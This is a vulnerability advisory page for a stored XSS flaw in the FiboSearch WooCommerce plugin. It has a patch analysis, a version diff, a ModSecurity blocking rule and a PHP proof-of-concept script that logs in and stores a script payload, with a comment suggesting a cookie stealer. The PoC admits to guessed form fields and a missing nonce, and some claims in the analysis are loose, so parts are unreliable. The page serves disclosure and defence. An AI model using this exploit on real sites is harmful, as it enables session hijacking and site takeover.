Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-28179: FiboSearch – Ajax Search for WooCommerce <= 1.33.0 Authenticated (Shop manager+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.33.0
Patched Version 1.34.0
Disclosed August 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-28179: FiboSearch – Ajax Search for WooCommerce versions up to 1.33.0 contain a stored cross-site scripting (XSS) vulnerability in the settings handling of the “Synonyms” feature. The flaw stems from missing input sanitization when saving the `search_synonyms` setting and absent output escaping when rendering it. Exploitation requires authenticated access with Shop Manager privileges or higher. The CVSS score is 4.4, and the CWE is 79.

The root cause is the absence of a sanitization callback in the `Settings.php` configuration array for the `search_synonyms` field. At line 520 of `includes/Settings.php`, the field definition lacked a `sanitize_callback`, allowing arbitrary HTML, including “ tags, to be stored in the WordPress options table via the plugin’s settings form. On output, the stored value is rendered without escaping, leading to script execution in the admin context. Atomic Edge research confirms that the patch adds `’sanitize_callback’ => ‘sanitize_textarea_field’` to this field, preventing malicious markup from being saved.

An attacker with Shop Manager privileges can navigate to the FiboSearch settings page (typically under WooCommerce > FiboSearch > Advanced Settings). Using the browser’s developer tools or a direct POST request, the attacker submits a payload such as `alert(document.cookie)` in the `search_synonyms` textarea. The payload is saved to the database. When any user (including administrators) visits the settings page or any page where the synonyms are displayed, the script executes in their browser. This allows the attacker to steal session cookies, perform actions on behalf of the victim, or inject further malicious content.

The patch (version 1.34.0) introduces a sanitization callback for the `search_synonyms` field in `includes/Settings.php`. The callback `sanitize_textarea_field` strips all HTML tags and dangerous characters from the input before it is saved. This prevents the storage of executable code. Additionally, the diff includes escaping for the product thumbnail `alt` attribute in `Product.php` using `esc_attr` and `esc_url`, which hardens other output points but is not directly related to this CVE. The primary fix is the sanitization of the synonyms setting.

Successful exploitation leads to stored XSS, which can result in session hijacking, privilege escalation (if an administrator is targeted), defacement, or redirection to malicious sites. The attacker can execute arbitrary JavaScript in the context of the victim’s browser, potentially leading to full site compromise. This vulnerability is particularly dangerous in multi-site installations and when `unfiltered_html` is disabled, as it bypasses the usual KSES filtering.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ajax-search-for-woocommerce/ajax-search-for-woocommerce.php
+++ b/ajax-search-for-woocommerce/ajax-search-for-woocommerce.php
@@ -4,14 +4,14 @@
  * Plugin Name: FiboSearch - AJAX Search for WooCommerce
  * Plugin URI: https://fibosearch.com?utm_source=wp-admin&utm_medium=referral&utm_campaign=author_uri&utm_gen=utmdc
  * Description: The most popular WooCommerce product search. Gives your users a well-designed advanced AJAX search bar with live search suggestions.
- * Version: 1.33.0
+ * Version: 1.34.0
  * Author: FiboSearch Team
  * Author URI: https://fibosearch.com?utm_source=wp-admin&utm_medium=referral&utm_campaign=author_uri&utm_gen=utmdc
  * Text Domain: ajax-search-for-woocommerce
  * Domain Path: /languages
  * Requires Plugins: woocommerce
  * WC requires at least: 5.5
- * WC tested up to: 10.7
+ * WC tested up to: 10.9
  *
  */
 // Exit if accessed directly
--- a/ajax-search-for-woocommerce/build/blocks/search-nav/index.asset.php
+++ b/ajax-search-for-woocommerce/build/blocks/search-nav/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => 'fcba787a78525673cf9a');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-server-side-render'), 'version' => 'ee6f0b17b2795661d55e');
--- a/ajax-search-for-woocommerce/build/blocks/search/index.asset.php
+++ b/ajax-search-for-woocommerce/build/blocks/search/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-shortcode'), 'version' => '3dbb389a13b4d00470f9');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-server-side-render', 'wp-shortcode'), 'version' => '9f828be8121073a28020');
--- a/ajax-search-for-woocommerce/includes/Analytics/Maintenance.php
+++ b/ajax-search-for-woocommerce/includes/Analytics/Maintenance.php
@@ -11,8 +11,8 @@
 	const ANALYTICS_EXPIRATION_IN_DAYS = 30;

 	public function init() {
-		$this->schedule();
 		$this->listenCron();
+		add_action( 'init', [ $this, 'schedule' ] );
 	}

 	/**
--- a/ajax-search-for-woocommerce/includes/Engines/WordPressNative/Search.php
+++ b/ajax-search-for-woocommerce/includes/Engines/WordPressNative/Search.php
@@ -660,9 +660,8 @@
             }
             if ( !empty( $search ) ) {
                 $search = " AND ({$search}) ";
-                if ( !is_user_logged_in() ) {
-                    $search .= " AND ({$wpdb->posts}.post_password = '') ";
-                }
+                // Password-protected products are never searchable, regardless of the login state.
+                $search .= " AND ({$wpdb->posts}.post_password = '') ";
             }
         }
         return $search;
--- a/ajax-search-for-woocommerce/includes/Integrations/Plugins/Elementor/Elementor.php
+++ b/ajax-search-for-woocommerce/includes/Integrations/Plugins/Elementor/Elementor.php
@@ -19,6 +19,7 @@
     public function init() : void {
         add_action( 'elementor/widgets/register', [$this, 'registerWidgets'], 20 );
         add_action( 'elementor/editor/before_enqueue_scripts', [$this, 'editorEnqueueScripts'] );
+        add_action( 'wp_enqueue_scripts', [$this, 'enqueuePopupFixes'], 20 );
     }

     /**
@@ -43,4 +44,88 @@
         );
     }

+    /**
+     * Elementor popups move focus to the close button after popup animations.
+     * FiboSearch needs a dedicated guard here instead of a generic core workaround.
+     */
+    public function enqueuePopupFixes() : void {
+        ob_start();
+        ?>
+		<style>
+			.elementor-popup-modal .dgwt-wcas-style-pirx.dgwt-wcas-search-filled .dgwt-wcas-sf-wrapp button.dgwt-wcas-search-submit {
+				animation: none;
+			}
+		</style>
+		<?php
+        $css = (string) ob_get_clean();
+        wp_add_inline_style( 'dgwt-wcas-style', str_replace( ['<style>', '</style>'], '', $css ) );
+        ob_start();
+        ?>
+		<script>
+			(function($) {
+				$(function() {
+					if ($(document).data('fibosearchElementorPopupFocusGuardBound')) {
+						return;
+					}
+
+					$(document).data('fibosearchElementorPopupFocusGuardBound', true);
+
+					var keepFocusOnInput = function($modal, input, tokenKey, maxChecks) {
+						var guardToken = Date.now() + Math.random();
+						var checks = 0;
+
+						$modal.data(tokenKey, guardToken);
+
+						var interval = setInterval(function() {
+							var activeElement = document.activeElement;
+
+							checks++;
+
+							if (
+								$modal.data(tokenKey) !== guardToken ||
+								!document.body.contains(input) ||
+								checks > maxChecks
+							) {
+								clearInterval(interval);
+								return;
+							}
+
+							if (!$(input).is(':visible')) {
+								return;
+							}
+
+							if (
+								activeElement &&
+								$(activeElement).closest('.elementor-popup-modal')[0] !== $modal[0]
+							) {
+								clearInterval(interval);
+								return;
+							}
+
+							if (
+								activeElement !== input &&
+								(
+									!activeElement ||
+									activeElement === document.body ||
+									$(activeElement).hasClass('dialog-close-button') ||
+									activeElement === $modal.find('.dialog-widget-content')[0]
+								)
+							) {
+								input.focus();
+							}
+						}, 60);
+					};
+
+					$(document).on('focusin', '.elementor-popup-modal .dgwt-wcas-search-input', function() {
+						var $modal = $(this).closest('.elementor-popup-modal');
+						keepFocusOnInput($modal, this, 'fibosearchFocusGuardToken', 25);
+					});
+				});
+			})(jQuery);
+		</script>
+		<?php
+        $js = (string) ob_get_clean();
+        wp_add_inline_script( 'jquery-dgwt-wcas', trim( str_replace( ['<script>', '</script>'], '', $js ) ), 'after' );
+    }
+
 }
--- a/ajax-search-for-woocommerce/includes/Product.php
+++ b/ajax-search-for-woocommerce/includes/Product.php
@@ -172,7 +172,7 @@
      * @return string
      */
     public function getThumbnail( $size = '' ) {
-        return '<img src="' . $this->getThumbnailSrc( $size ) . '" alt="' . wp_strip_all_tags( $this->getName(), true ) . '" />';
+        return sprintf( '<img src="%s" alt="%s" />', esc_url( $this->getThumbnailSrc( $size ) ), esc_attr( wp_strip_all_tags( $this->getName(), true ) ) );
     }

     /**
@@ -684,10 +684,11 @@
      */
     public function canIndexParent() {
         $canIndex = true;
-        if ( $this->getWooObject()->get_type() === 'variable' && empty( $this->getAvailableVariations() ) ) {
-            $canIndex = false;
+        if ( $this->getWooObject()->get_type() === 'variable' ) {
+            $canIndex = !empty( $this->getAvailableVariations() );
+            $canIndex = apply_filters( 'dgwt/wcas/can_index_variable_parent', $canIndex, $this );
         }
-        return apply_filters( 'dgwt/wcas/can_index_variable_parent', $canIndex, $this );
+        return $canIndex;
     }

 }
--- a/ajax-search-for-woocommerce/includes/Settings.php
+++ b/ajax-search-for-woocommerce/includes/Settings.php
@@ -630,11 +630,12 @@
                     'class' => 'dgwt-wcas-sgs-header js-dgwt-wcas-adv-settings',
                 ],
                 520 => [
-                    'name'  => 'search_synonyms',
-                    'label' => __( 'Synonyms', 'ajax-search-for-woocommerce' ) . ' ' . Helpers::createQuestionMark( 'synonyms', sprintf( __( 'The synonyms feature allows your users to find more relevant results. If your products have alternative names and users often misspell them, consider adding synonyms. <a target="_blank" href="%s">Read more</a> about this feature.', 'ajax-search-for-woocommerce' ), $synonymsLink ) ),
-                    'type'  => 'textarea',
-                    'desc'  => __( 'Synonyms should be separated by a comma. Each new synonyms group is entered in a new line. You can use a phrase instead of a single word. <br /> <br />Sample list:<br /> <br /><span class="dgwt-wcas-synonyms-sample">sofa, couch, davenport, divan, settee<br />big, grand, great, large, outsize</span>', 'ajax-search-for-woocommerce' ),
-                    'class' => 'dgwt-wcas-settings-synonyms js-dgwt-wcas-adv-settings dgwt-wcas-premium-only',
+                    'name'              => 'search_synonyms',
+                    'label'             => __( 'Synonyms', 'ajax-search-for-woocommerce' ) . ' ' . Helpers::createQuestionMark( 'synonyms', sprintf( __( 'The synonyms feature allows your users to find more relevant results. If your products have alternative names and users often misspell them, consider adding synonyms. <a target="_blank" href="%s">Read more</a> about this feature.', 'ajax-search-for-woocommerce' ), $synonymsLink ) ),
+                    'type'              => 'textarea',
+                    'desc'              => __( 'Synonyms should be separated by a comma. Each new synonyms group is entered in a new line. You can use a phrase instead of a single word. <br /> <br />Sample list:<br /> <br /><span class="dgwt-wcas-synonyms-sample">sofa, couch, davenport, divan, settee<br />big, grand, great, large, outsize</span>', 'ajax-search-for-woocommerce' ),
+                    'class'             => 'dgwt-wcas-settings-synonyms js-dgwt-wcas-adv-settings dgwt-wcas-premium-only',
+                    'sanitize_callback' => 'sanitize_textarea_field',
                 ],
                 600 => [
                     'name'  => 'filter_products_head',
--- a/ajax-search-for-woocommerce/partials/themes/woodmart.php
+++ b/ajax-search-for-woocommerce/partials/themes/woodmart.php
@@ -15,25 +15,27 @@
 	<script>
 		var desktopSearchForm = document.querySelector('.whb-main-header .wd-header-search-form');
 		if (desktopSearchForm !== null) {
-			desktopSearchForm.replaceWith(document.querySelector('#wcas-desktop-search-form > div'));
+			desktopSearchForm.classList.add('wd-search-form');
+			desktopSearchForm.innerHTML = document.querySelector('#wcas-desktop-search-form > div').innerHTML;
 		}
 		document.querySelector('#wcas-desktop-search-form').remove();

 		var desktopSearchIcon = document.querySelector('.whb-main-header .wd-header-search');
 		if (desktopSearchIcon !== null) {
-			desktopSearchIcon.replaceWith(document.querySelector('#wcas-desktop-search-icon > div'));
+			desktopSearchIcon.innerHTML = document.querySelector('#wcas-desktop-search-icon > div').innerHTML;
 		}
 		document.querySelector('#wcas-desktop-search-icon').remove();

 		var mobileSearchForm = document.querySelector('.whb-main-header .wd-header-search-form-mobile');
 		if (mobileSearchForm !== null) {
-			mobileSearchForm.replaceWith(document.querySelector('#wcas-mobile-search-form > div'));
+			mobileSearchForm.classList.add('wd-search-form');
+			mobileSearchForm.innerHTML = document.querySelector('#wcas-mobile-search-form > div').innerHTML;
 		}
 		document.querySelector('#wcas-mobile-search-form').remove();

 		var mobileSearch = document.querySelector('.mobile-nav .wd-search-form');
 		if (mobileSearch !== null) {
-			mobileSearch.replaceWith(document.querySelector('#wcas-mobile-search-nav > div'));
+			mobileSearch.innerHTML = document.querySelector('#wcas-mobile-search-nav').innerHTML;
 		}
 		document.querySelector('#wcas-mobile-search-nav').remove();

@@ -59,6 +61,36 @@
 			fill: var(--wd-header-el-color-hover);
 		}

+		.whb-main-header .whb-column .wd-header-search-form {
+			flex: 1 1 auto;
+			width: 100%;
+		}
+
+		.whb-main-header .wd-header-search-form .dgwt-wcas-search-wrapp {
+			min-width: 0;
+		}
+
+		.whb-main-header .whb-column .wd-header-search-form-mobile {
+			flex: 1 1 auto;
+			width: 100%;
+			min-width: 0;
+		}
+
+		.whb-main-header .wd-header-search-form-mobile .dgwt-wcas-search-wrapp {
+			min-width: 0;
+		}
+
+		.whb-main-header .wd-header-search-form-mobile .dgwt-wcas-sf-wrapp input[type="search"].dgwt-wcas-search-input {
+			min-width: 100%;
+		}
+
+		.whb-main-header .whb-header-bottom,
+		.whb-main-header .whb-header-bottom .whb-header-bottom-inner,
+		.whb-main-header .whb-header-bottom .whb-column_mobile5 {
+			height: auto;
+			min-height: 54px;
+		}
+
 		.whb-main-header .wd-header-search-form-mobile .dgwt-wcas-style-pirx .dgwt-wcas-sf-wrapp {
 			padding: 0;
 		}
@@ -67,6 +99,14 @@
 			margin-top: -10px;
 			margin-left: -10px;
 		}
+
+		.whb-main-header .wd-header-search-form-mobile .dgwt-wcas-style-pirx.dgwt-wcas-style-pirx-compact .dgwt-wcas-sf-wrapp {
+			padding: 4px;
+		}
+
+		.whb-main-header .wd-header-search-form-mobile .dgwt-wcas-style-pirx.dgwt-wcas-style-pirx-compact .dgwt-wcas-sf-wrapp button.dgwt-wcas-search-submit {
+			margin: 0;
+		}
 		@media screen and (max-width: 1024px) {
 			html.dgwt-wcas-overlay-mobile-on .mobile-nav,
 			html.dgwt-wcas-overlay-mobile-on .website-wrapper,
--- a/ajax-search-for-woocommerce/vendor/autoload.php
+++ b/ajax-search-for-woocommerce/vendor/autoload.php
@@ -22,4 +22,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit3b675252506fa5bade581ddb1697b0c1::getLoader();
+return ComposerAutoloaderInitc3736af2ab144591bbc7587e60ab1765::getLoader();
--- a/ajax-search-for-woocommerce/vendor/composer/autoload_real.php
+++ b/ajax-search-for-woocommerce/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit3b675252506fa5bade581ddb1697b0c1
+class ComposerAutoloaderInitc3736af2ab144591bbc7587e60ab1765
 {
     private static $loader;

@@ -22,16 +22,16 @@
             return self::$loader;
         }

-        spl_autoload_register(array('ComposerAutoloaderInit3b675252506fa5bade581ddb1697b0c1', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInitc3736af2ab144591bbc7587e60ab1765', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit3b675252506fa5bade581ddb1697b0c1', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInitc3736af2ab144591bbc7587e60ab1765', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit3b675252506fa5bade581ddb1697b0c1::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInitc3736af2ab144591bbc7587e60ab1765::getInitializer($loader));

         $loader->register(true);

-        $filesToLoad = ComposerAutoloadComposerStaticInit3b675252506fa5bade581ddb1697b0c1::$files;
+        $filesToLoad = ComposerAutoloadComposerStaticInitc3736af2ab144591bbc7587e60ab1765::$files;
         $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
             if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
                 $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/ajax-search-for-woocommerce/vendor/composer/autoload_static.php
+++ b/ajax-search-for-woocommerce/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit3b675252506fa5bade581ddb1697b0c1
+class ComposerStaticInitc3736af2ab144591bbc7587e60ab1765
 {
     public static $files = array (
     );
@@ -30,9 +30,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit3b675252506fa5bade581ddb1697b0c1::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit3b675252506fa5bade581ddb1697b0c1::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit3b675252506fa5bade581ddb1697b0c1::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInitc3736af2ab144591bbc7587e60ab1765::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInitc3736af2ab144591bbc7587e60ab1765::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInitc3736af2ab144591bbc7587e60ab1765::$classMap;

         }, null, ClassLoader::class);
     }
--- a/ajax-search-for-woocommerce/vendor/composer/installed.php
+++ b/ajax-search-for-woocommerce/vendor/composer/installed.php
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'freemius/wordpress-sdk' => array(
-            'pretty_version' => '2.13.1',
-            'version' => '2.13.1.0',
-            'reference' => '7376c0eca1ae7f92aaba9d3b550bd10affe797ff',
+            'pretty_version' => '2.13.4',
+            'version' => '2.13.4.0',
+            'reference' => 'fa43eb92ae9dffa0d9f5ae11b5a1739bd7222308',
             'type' => 'library',
             'install_path' => __DIR__ . '/../freemius/wordpress-sdk',
             'aliases' => array(),
--- a/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/config.php
+++ b/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/config.php
@@ -210,6 +210,10 @@
         define( 'WP_FS__API_SANDBOX_ADDRESS_LOCALHOST', 'http://sandbox-api.freemius:8080' );
     }

+    if ( ! defined( 'WP_FS__API_TIMEOUT' ) ) {
+        define( 'WP_FS__API_TIMEOUT', 30 );
+    }
+
     // Set API address for local testing.
     if ( ! WP_FS__IS_PRODUCTION_MODE ) {
         if ( ! defined( 'FS_API__ADDRESS' ) ) {
--- a/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/class-freemius.php
+++ b/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/class-freemius.php
@@ -3946,7 +3946,7 @@

             $this->_storage->connectivity_test = array(
                 'is_connected' => $is_connected,
-                'host'         => $_SERVER['HTTP_HOST'],
+                'host'         => isset( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : '',
                 'server_ip'    => WP_FS__REMOTE_ADDR,
                 'is_active'    => $is_active,
                 'timestamp'    => WP_FS__SCRIPT_START_TIME,
@@ -17653,6 +17653,31 @@
         /**
          * Install plugin with new user.
          *
+         * You can use this method to sync activation with the Freemius WP SDK where the activation happened outside of the regular opt-in flow, for example if you're using an external licensing server with our api:
+         *
+         * https://docs.freemius.com/api/licenses/activate
+         *
+         * In that case you can call this method like following:
+         *
+         * ```
+         *
+         * my_fs()->install_with_new_user(
+         *     $result['user_id'],
+         *     $result['user_public_key'],
+         *     $result['user_secret_key'],
+         *     $result['is_marketing_allowed'],
+         *     null,
+         *     true,
+         *     $result['install_id'],
+         *     $result['install_public_key'],
+         *     $result['install_secret_key'],
+         *     false
+         * );
+         *
+         * ```
+         *
+         * Here `$result` represents the object returned by the API endpoint.
+         *
          * @author Vova Feldman (@svovaf)
          * @since  1.1.7.4
          *
@@ -17670,7 +17695,7 @@
          *
          * @return string If redirect is `false`, returns the next page the user should be redirected to.
          */
-        private function install_with_new_user(
+        public function install_with_new_user(
             $user_id,
             $user_public_key,
             $user_secret_key,
--- a/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
+++ b/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/entities/class-fs-payment.php
@@ -80,11 +80,22 @@
          */
         public $source = 0;

+        /**
+         * Presentment payment information for customer-facing currency display.
+         *
+         * @var object|null
+         */
+        public $presentment;
+
         #endregion Properties

         const CURRENCY_USD = 'usd';
         const CURRENCY_GBP = 'gbp';
         const CURRENCY_EUR = 'eur';
+        const CURRENCY_ILS = 'ils';
+        const CURRENCY_CAD = 'cad';
+        const CURRENCY_AUD = 'aud';
+        const CURRENCY_PLN = 'pln';

         /**
          * @param object|bool $payment
@@ -120,6 +131,44 @@
         }

         /**
+         * @return bool
+         */
+        private function has_presentment()
+        {
+            return is_object( $this->presentment );
+        }
+
+        /**
+         * @return float
+         */
+        private function get_display_gross()
+        {
+            return $this->has_presentment() ?
+                (float) $this->presentment->gross :
+                (float) $this->gross;
+        }
+
+        /**
+         * @return float
+         */
+        private function get_display_vat()
+        {
+            return $this->has_presentment() ?
+                (float) $this->presentment->vat :
+                (float) $this->vat;
+        }
+
+        /**
+         * @return string
+         */
+        private function get_display_currency()
+        {
+            return $this->has_presentment() ?
+                $this->presentment->currency :
+                $this->currency;
+        }
+
+        /**
          * Returns the gross in this format:
          *  `{symbol}{amount | 2 decimal digits} {currency | uppercase}`
          *
@@ -132,12 +181,13 @@
          */
         function formatted_gross()
         {
-            $price = $this->gross + $this->vat;
+            $price = $this->get_display_gross() + $this->get_display_vat();
+
             return (
                 ( $price < 0 ? '-' : '' ) .
                 $this->get_symbol() .
                 number_format( abs( $price ), 2, '.', ',' ) . ' ' .
-                strtoupper( $this->currency )
+                strtoupper( $this->get_display_currency() )
             );
         }

@@ -161,9 +211,17 @@
                     self::CURRENCY_USD => '$',
                     self::CURRENCY_GBP => '£',
                     self::CURRENCY_EUR => '€',
+                    self::CURRENCY_ILS => '₪',
+                    self::CURRENCY_CAD => '$',
+                    self::CURRENCY_AUD => '$',
+                    self::CURRENCY_PLN => 'zł',
                 );
             }

-            return self::$CURRENCY_2_SYMBOL[ $this->currency ];
+            $currency = $this->get_display_currency();
+
+            return isset( self::$CURRENCY_2_SYMBOL[ $currency ] )
+                ? self::$CURRENCY_2_SYMBOL[ $currency ]
+                : strtoupper( $currency ) . ' ';
         }
-    }
 No newline at end of file
+    }
--- a/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
+++ b/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/managers/class-fs-checkout-manager.php
@@ -110,6 +110,15 @@
 					// If add-on isn't activated assume the premium version isn't installed.
 					$is_premium = false;
 				}
+
+                // Override the checkout context with the add-on's purchase details so the checkout flow is initialized for the selected add-on instead of the parent product.
+				$context_params['plugin_id'] = $plugin_id;
+
+				foreach ( array( 'plan_id', 'pricing_id', 'billing_cycle', 'is_trial' ) as $param ) {
+					if ( fs_request_has( $param ) ) {
+						$context_params[ $param ] = fs_request_get( $param );
+					}
+				}
 			}

 			// Get site context secure params.
@@ -187,7 +196,7 @@
             // Allowlist only allowed query params.
             $filtered_params = array_intersect_key($filtered_params, $this->_allowed_custom_params);

-            return array_merge( $context_params, $filtered_params, $_GET, array(
+			return array_merge( $_GET, $context_params, $filtered_params, array(
 				// Current plugin version.
 				'plugin_version' => $fs->get_plugin_version(),
 				'sdk_version'    => WP_FS__SDK_VERSION,
--- a/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/managers/class-fs-contact-form-manager.php
+++ b/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/managers/class-fs-contact-form-manager.php
@@ -77,8 +77,9 @@
 			$query_params = $this->get_query_params( $fs );

 			$query_params['is_standalone'] = 'true';
+			// Intentionally using add_query_arg( '', '' ) to preserve the legacy behavior of resolving the current admin URL.
 			$query_params['parent_url']    = admin_url( add_query_arg( '', '' ) );

 			return WP_FS__ADDRESS . '/contact/?' . http_build_query( $query_params );
 		}
-	}
 No newline at end of file
+	}
--- a/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusWordPress.php
+++ b/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/includes/sdk/FreemiusWordPress.php
@@ -408,7 +408,7 @@
 				$pWPRemoteArgs = array(
 					'method'           => strtoupper( $pMethod ),
 					'connect_timeout'  => 10,
-					'timeout'          => 60,
+					'timeout'          => WP_FS__API_TIMEOUT,
 					'follow_redirects' => true,
 					'redirection'      => 5,
 					'user-agent'       => $user_agent,
--- a/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/start.php
+++ b/ajax-search-for-woocommerce/vendor/freemius/wordpress-sdk/start.php
@@ -15,7 +15,7 @@
 	 *
 	 * @var string
 	 */
-	$this_sdk_version = '2.13.1';
+	$this_sdk_version = '2.13.4';

 	#region SDK Selection Logic --------------------------------------------------------------------

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin.php" "id:202628179,phase:2,deny,status:403,chain,msg:'CVE-2026-28179 via FiboSearch settings XSS',severity:'CRITICAL',tag:'CVE-2026-28179'"
  SecRule ARGS_POST:page "@streq dgwt-wcas-settings" "chain"
    SecRule ARGS_POST:dgwt_wcas_settings_search_synonyms "@rx <script|javascript:|onerror=|onload=|onmouseover=" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-28179 - FiboSearch – Ajax Search for WooCommerce <= 1.33.0 - Authenticated (Shop manager+) Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'shopmanager'; // Shop Manager account
$password = 'password'; // Password

// Initialize cURL
$ch = curl_init();

// Step 1: Log in to WordPress
$login_url = $target_url . '/wp-login.php';
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch));
}

// Step 2: Submit the XSS payload in the synonyms setting
$settings_url = $target_url . '/wp-admin/admin.php?page=dgwt-wcas-settings';
$payload = '<script>alert("XSS")</script>'; // Simple alert, replace with cookie stealer
$post_fields = [
    'dgwt_wcas_settings' => [
        'search_synonyms' => $payload,
        // Include other required fields to ensure the form processes correctly
        'search_products' => '1', // Example, may need adjustment
        'search_categories' => '1',
        'search_tags' => '1',
        'search_post_title' => '1',
        'search_post_content' => '1',
        'search_post_excerpt' => '1',
        'search_custom_fields' => '',
        'search_sku' => '1',
        'search_variations' => '1',
        'search_attributes' => '1',
        'search_taxonomies' => '1',
        'search_meta' => '1',
        'search_author' => '1',
        'search_comments' => '1',
        'search_excerpt' => '1',
        'search_content' => '1',
        'search_title' => '1',
        'search_sku' => '1',
        'show_synonyms' => '1',
    ],
    'submit' => 'Save changes'
];
// Note: The actual form may include a nonce and other fields. You may need to parse the settings page to extract the nonce and all required fields.
// For demonstration, we assume the form can be submitted with these fields.
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
if (curl_error($ch)) {
    die('Settings update failed: ' . curl_error($ch));
}

// Step 3: Verify the payload is stored (optional)
// Fetch the settings page and check for the payload
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
if (strpos($response, $payload) !== false) {
    echo 'Payload stored successfully. Visit the settings page as admin to trigger XSS.';
} else {
    echo 'Payload not found. Exploit may have failed.';
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
